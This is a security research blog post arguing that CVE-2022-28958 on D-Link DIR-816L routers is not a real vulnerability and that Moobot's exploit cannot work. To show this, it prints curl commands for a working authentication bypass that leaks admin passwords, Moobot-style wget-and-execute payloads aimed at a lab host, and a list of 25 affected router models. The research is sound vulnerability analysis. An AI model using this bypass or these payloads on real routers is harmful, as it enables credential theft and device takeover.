Go back

Moobot Uses a Fake Vulnerability

avatar
Jacob Baines@Junior_Baines

Introduction

On September 8, 2022, CVE-2022-28958 was added to CISA's Known Exploited Vulnerability Catalog. A report published a couple days prior said the vulnerability was being exploited by Moobot, a Mirai-like botnet. However, this vulnerability has never been exploited in the wild, because CVE-2022-28958 isn’t a real vulnerability.

On April 6, 2022, GitHub user shijn0925 published four vulnerabilities affecting the end-of-life SOHO router D-Link DIR-816L. The vulnerability details were published in markdown files named 1.md through 4.md. MITRE assigned the following CVE identifiers for the researcher’s findings:

This blog is predominantly about CVE-2022-28958 not being a real vulnerability, but it’s interesting to note that the other two findings likely shouldn’t have received CVE either. CVE-2022-28955 (missing authentication) appears to be as-designed functionality with low or no security impact. CVE-2022-28956 (authentication bypass) is a real security issue, but a duplicate of four other CVE: CVE-2020-15894, CVE-2020-9376, CVE-2019-17506, and CVE-2018-7034. Amazingly, we found those five CVE don’t cover all affected devices. The authentication bypass is useful to us later in the blog, so we ended up creating a list of affected devices (see addendum at the end of the blog).

All of this is worth discussing, not just because CVE-2022-28958 found its way into the KEV Catalog, but because there are a good number of these devices on the internet. Shodan has indexed around 6,000 of them:

censys

Moobot and CVE-2022-28958

Let's look at shijin0925's original disclosure. The following vulnerability description is provided (note that we didn't correct any language):

DIR816L_FW206b01 shareport.php has an issue that attackers can use it to execute command via "value" parameter.

The disclosure also includes this code snippet from shareport.php:

if ($AUTHORIZED_GROUP < 0){    $result = "FAIL";    $reason = i18n("Permission deny. The user is unauthorized.");}else{    if ($_POST["action"] == "sethostname")    {        $value = $_POST["value"];        if ($value != "")        {            set("/device/gw_name", $value);            event("SHAREPORT.SETGWNAME");            $RESULT = "OK";            $REASON = "";                            }    }        else    fail(i18n("Unknown ACTION!"));}

And the disclosure specifically calls out the use of set():

As you can see there is not enough filter with paramter "value",it just passed to function set which execute command directly.

According to this disclosure, the vulnerability is the result of an attacker-controlled $value being passed into set() in shareport.php. Allegedly, set() will "execute command directly." The disclosure also contains a curl-based proof of concept:

curl http://192.168.0.1:80/getcfg.php -d  "action=sethostname&value=%26%20ls%20-la%20%26%0aAUTHORIZED_GROUP=1"

The disclosure doesn’t contain the output of the curl request, and it doesn't provide any other evidence the router executed the provided value parameter (& ls -la &). The reader is just expected to accept the command works. But, the proof of concept has a glaring error. It doesn’t send the “malicious” request to shareport.php where the alleged vulnerable code resides. The request is sent to getcfg.php an entirely different and unrelated endpoint. And, perhaps most importantly, getcfg.php doesn't have logic for handling the provided action or value parameters, so this proof of concept would have no effect on the system. But don’t take our word for it. Here is getcfg.php:

if ($_POST["CACHE"] == "true"){    echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");}else{    if($AUTHORIZED_GROUP < 0)    {        /* not a power user, return error message */        echo "\t<result>FAILED</result>\n";        echo "\t<message>Not authorized</message>\n";    }    else    {        /* cut_count() will return 0 when no or only one token. */        $SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");        TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);        $SERVICE_INDEX = 0;        while ($SERVICE_INDEX < $SERVICE_COUNT)        {            $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");            TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);            if ($GETCFG_SVC!="")            {                $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";                /* GETCFG_SVC will be passed to the child process. */                if (isfile($file)=="1")                {                        AES_Encrypt_DBnode($GETCFG_SVC, "Encrypt");                        dophp("load", $file);                        AES_Encrypt_DBnode($GETCFG_SVC, "Decrypt");                }            }            $SERVICE_INDEX++;        }    }}

After reading the above code, it’s obvious the researcher's proof of concept is useless. It doesn’t touch the endpoint where the vulnerable code allegedly resides, and the endpoint it does reach doesn’t do anything with the provided parameters. It’s amusing that, apparently, the Moobot developers copied the researcher’s mistake. Pictured below, from Unit 42's blog, is Moobot's implementation of CVE-2022-28958 as seen via Wireshark:

censys

Above, Moobot sends an HTTP POST request to getcfg.php using both the action and value parameters just as the researcher’s incorrect proof of concept did. As we've seen, getcfg.php doesn't handle action or value. Moobot's exploit doesn’t work.

If the screenshot can be trusted, the Moobot developers also encoded the payload incorrectly. By using value=& instead of value=%26, they've messed up the (assumed) command injection and simply set value to an empty string. Also, the authentication bypass at the end (AUTHORIZED_GROUP=1 aka CVE-2022-28956, CVE-2020-15894, CVE-2020-9376, CVE-2019-17506, and CVE-2018-7034) has to start with %0a to work, which isn't the case here.

Either way, the exploit can't work because it's hitting the wrong endpoint. Which is interesting, but that doesn't mean shareport.php isn't exploitable. Let’s do some testing to prove that CVE-2022–28958 doesn’t exist!

Local Testing of a D-Link DIR-816L

The affected DIR-816L is end-of-life, but it was easy find one on Ebay. Fortuatunely, the affected firmware, 2.06.B01, is also available on D-Link’s legacy files archive:

censys

So we had everything needed to test the device in a local lab setup. We started testing by throwing the researcher’s original proof of concept at the device.

albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20ls%20-la%20%26%0aAUTHORIZED_GROUP=1" http://192.168.0.1:80/getcfg.php
<?xml version="1.0" encoding="utf-8"?><postxml></postxml>

Underwhelming to say the least. No indication that & ls -l & was executed. So we tried the Moobot payload.

albinolobster@mournland:~$ curl -d "action=sethostname&value=& wget http://192.168.0.164/test; chmod 777 test; ./test & AUTHORIZED_GROUP=1" http://192.168.0.1:80/getcfg.php
<?xml version="1.0" encoding="utf-8"?><postxml>    <result>FAILED</result>    <message>Not authorized</message></postxml>

We received a “Not authorized” response because the authorization bypass didn’t work, as we predicted earlier in the blog. Without a working bypass, the attacker needs to be authenticated to the device. This is a fairly important detail that NIST overlooked when assigning CVE-2022-28958 a CVSSv3 score of 9.8. CISA, presumably, also overlooked this when they added CVE-2022–28958 to the KEV Catalog but not CVE-2022–28956.

If we fix Moobot's exploit to use the bypass correctly, fix the (assumed) command injection, and simplify the payload then we get this:

albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20wget%20http://192.168.0.164/test%20%26%0aAUTHORIZED_GROUP=ok" http://192.168.0.1:80/getcfg.php
<?xml version="1.0" encoding="utf-8"?><postxml></postxml>

Now, in this case, we had nc listening for a wget callback on 192.168.0.164, and we do know that wget is present on the DIR-816L. But, again, we get nothing from the device:

albinolobster@mournland:~$ sudo nc -lvnp 80[sudo] password for albinolobster:Listening on 0.0.0.0 80

But remember, we didn't expect any of that to work anyway. We already knew getcfg.php is the wrong endpoint. We only tested the original researcher's proof of concept to be thorough. What we really want to know is if shareport.php is exploitable as the original writeup and CVE description suggest. Let’s try the previous wget payload, but this time pointed at shareport.php:

albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20wget%20http://192.168.0.164/test%20%26%0aAUTHORIZED_GROUP=ok" http://192.168.0.1:80/shareport.php
<?xml version="1.0" encoding="utf-8"?><shareportreport>    <action>sethostname</action>    <result>OK</result>    <reason></reason></shareportreport>

A new response! But still no wget request to our listening nc on port 80. Maybe the researcher’s original & ls -la & payload will yield a result?

albinolobster@mournland:~$ curl -d "action=sethostname&value=%26%20ls%20-l%20%26%0aAUTHORIZED_GROUP=ok" http://192.168.0.1:80/shareport.php
<?xml version="1.0" encoding="utf-8"?><shareportreport>    <action>sethostname</action>    <result>OK</result>    <reason></reason></shareportreport>

Again, no proof the exploit was successful. Perhaps exploitation is blind? If that's the case, why provide a proof of concept using & ls -la &? Maybe the proof of concept messed up the shell metacharacters? A single ampersand is an odd choice. We fiddled with the metacharacters and tested all these exploits against firmware versions: 2.03b1, 2.06b1 (the reportedly vulnerable version), and 2.06b09 Beta. The "exploits" didn't work on any of these firmware. But why?

CVE-2022-28958: Not a Real Vulnerability

Let's return to the researcher's original claim. They state the following code in shareport.php does not have "enough filter with parameter ‘value’, it just passed to function set which execute command directly."

set("/device/gw_name", $value);

The claim that set() will "execute command directly" is what needs to be examined. It would seem the researcher thinks set() will execute /device/gw_name with $value as some type of parameter. However, after looking at the firmware's code, we know /device/gw_name isn't a binary and set() doesn't execute commands.

Execution of PHP files like getcfg.php or shareport.php on the DIR-816L is a bit opaque. The files are served via the www binary, but it passes execution of php files to a binary called cgibin. cgibin passes execution to a binary called xmldb, which has a custom PHP interpreter. Exactly how custom, we're not sure, but they've added a few builtins like set(), setattr(), event(), and query(). These extra builtins are for interacting with the xml database (hence the binary's name, xmldb).

The xml database contains the router's configuration. When the user calls set("/device/gw_name", $value), they are inserting $value into the /device/gw_name entry in the xml database. If you root the device, you’ll find you can examine the database from the device's command line using the xmldbc (xml db client) binary. In the following example, we list the contents of /device/gw_name in the xml database of a DIR-816L we had just “exploited.”

# xmldbc -g /device/gw_name& wget http://192.168.0.164/test &# xmldbc -d /tmp/config.xml# cat /tmp/config.xml | grep gw_name<gw_name>&amp; wget http://192.168.0.164/test &amp; </gw_name>

Here you can see our malicious wget was inserted into the database, just as we said. The shell metacharacters were even encoded properly when inserted into the xml. Not only is there no evidence of wget being executed, but it isn't even part of set()'s intended functionality. set() does not execute value "directly", as stated in the disclosure.

Looking deeper with Ghidra, we didn't find any evidence of command execution when tracing the logic from the http server through xmldbc and into the database. It's obviously difficult to prove a negative, especially with so many moving parts. But after testing the exploits, looking at the functionality, and examining where the payload lands, it’s difficult to say the original claims hold up.

However, this vulnerability is in the KEV Catalog so it’s worth looking even deeper. Let’s seek out artifacts left by CVE-2022-28958 “exploitation” on internet-facing devices.

Internet Scanning

As stated earlier, the researcher’s original proof of concept had %0aAUTHORIZED_GROUP=1 at the end of the payload. This authentication bypass satisfies the AUTHORIZED_GROUP check in DIR-816L PHP files (including shareport.php):

if ($AUTHORIZED_GROUP < 0){    $result = "FAIL";    $reason = i18n("Permission deny. The user is unauthorized.");}else{    if ($_POST["action"] == "sethostname")    {        $value = $_POST["value"];        if ($value != "")        {            set("/device/gw_name", $value);            event("SHAREPORT.SETGWNAME");            $RESULT = "OK";            $REASON = "";                            }    }        else    fail(i18n("Unknown ACTION!"));}?>

The bypass is useful because it gives an attacker access to most of the router's PHP logic. As we’ve stated, the bypass has been assigned five CVE at this point, and it's typically associated with a credential leak (which also happens to work on the DIR-816L):

albinolobster@mournland:~/initial-access/feed/cve-2019-10891$ curl http://192.168.0.1:80/getcfg.php -d "SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1"
<?xml version="1.0" encoding="utf-8"?><postxml><module>    <service>DEVICE.ACCOUNT</service>    <device>        <gw_name>wget http://192.168.0.164/test</gw_name>                <account>            <seqno>1</seqno>            <max>2</max>            <count>1</count>            <entry>                <uid>USR-</uid>                <name>Admin</name>                <usrid></usrid>                <password>labpass1</password>                <group>0</group>                <description></description>            </entry>        </account>        <group>            <seqno></seqno>            <max></max>            <count>0</count>        </group>        <session>            <captcha>0</captcha>            <dummy></dummy>            <timeout>180</timeout>            <maxsession>128</maxsession>            <maxauthorized>16</maxauthorized>        </session>    </device></module></postxml>

Credential leaks on routers are useful for attackers that manipulate router configurations or upload malicious firmware, but for our purposes, the authentication bypass can be used to grab detailed version information from the /DevInfo.txt endpoint. Like this:

albinolobster@mournland:~/initial-access/feed/cve-2019-10891$ curl http://192.168.0.1/DevInfo.txt?vuln=check%0aAUTHORIZED_GROUP=1270Firmware External Version: V2.06Firmware Internal Version: f4jcModel Name: DIR-816LHardware Version:WLAN Domain: CAKernel: 2.6.30.9Language: enGraphcal Authentication: DisableLAN MAC: f8:e9:03:c1:81:b4WAN MAC: f8:e9:03:c1:81:b7WLAN MAC: f8:e9:03:c1:81:b4

Using the bypass also allows us to read /mydlink/get_WanSetting.asp which contains the “exploited” hostname. For example, below you can see the wget command from our exploitation attempt of shareport.php:

albinolobster@mournland:~/initial-access/feed/cve-2019-10891$ curl http://192.168.0.1/mydlink/get_WanSetting.asp -d "test=test%0aAUTHORIZED_GROUP=1"
<wansetting><config.wan_ip_mode>1</config.wan_ip_mode><config.wan_dhcp_gw_name>& wget http://192.168.0.164/test & </config.wan_dhcp_gw_name><mac_clone>f8:e9:03:c1:81:b7</mac_clone>... truncated ...

In theory, if these devices were under attack using the shareport.php vulnerability, then we’d be able to find artifacts of exploitation on internet-facing devices by querying /mydlink/get_WanSetting.asp. We did just that. Using a list of 6000+ routers from Shodan, we found zero routers with evidence of shareport.php exploitation attempts. Which means, to us, that it’s highly unlikely that anyone has attempted to use the vulnerability, as described in the CVE description, in the wild.

Consulting Greynoise

Finally, we consulted Greynoise. They can give us insight into whether shareport.php exploitation is hitting any of their honeypots.

censys

From the screenshot above, you can see that Greynoise isn’t seeing CVE-2022-28958 exploitation either. Greynoise does have an existing tag for the getcfg.php authentication bypass. As mentioned earlier, this is typically associated with a credential leak, and it does have some activity over the last 30 days.

censys

But, as previously mentioned, getcfg.php is in no way related to CVE-2022-28958 other than the original researcher posting an erroneous proof of concept.

Summary

In summary, this blog established the following:

  • The original researcher's proof of concept for CVE-2022-28958 never worked.
  • Moobot copied the researcher's proof of concept and added additional errors. Their exploit never worked.
  • CVE-2022-28958 isn't real. We tested firmware versions 2.03b1, 2.06b1 (the reportedly vulnerable version) and 2.06b9 and found no evidence the vulnerability exists. The original researcher provided no evidence either.
  • Internet-facing D-Link DIR-816L did not contain artifacts that would indicate they were exploited by CVE-2022-28958.
  • GreyNoise has not seen shareport.php HTTP requests hit their honeypots.

We conclude that CVE-2022-28958 is not a real vulnerability and at-scale exploitation has never occurred. The vulnerability should not be listed by MITRE, and it should not be in the CISA Known Exploited Vulnerabilities Catalog. We filed a dispute with MITRE and shared our findings with CISA in October 2022.

censys

Addendum

VulnCheck has found the following D-Link models to be vulnerable to the %0aAUTHORIZED_GROUP bypass (aka CVE-2022-28956, CVE-2020-15894, CVE-2020-9376, CVE-2019-17506, and CVE-2018-7034):

  • DIR-300
  • DIR-600
  • DIR-605L
  • DIR-610
  • DIR-610N+
  • DIR-615
  • DIR-629
  • DIR-645
  • DIR-685
  • DIR-803
  • DIR-806
  • DIR-815
  • DIR-816L
  • DIR-817LW
  • DIR-818L
  • DIR-818LW
  • DIR-822
  • DIR-845L
  • DIR-850L
  • DIR-860L
  • DIR-865L
  • DIR-868L
  • DSL-2890AL
  • GO-RT-AC750
  • WBR-2200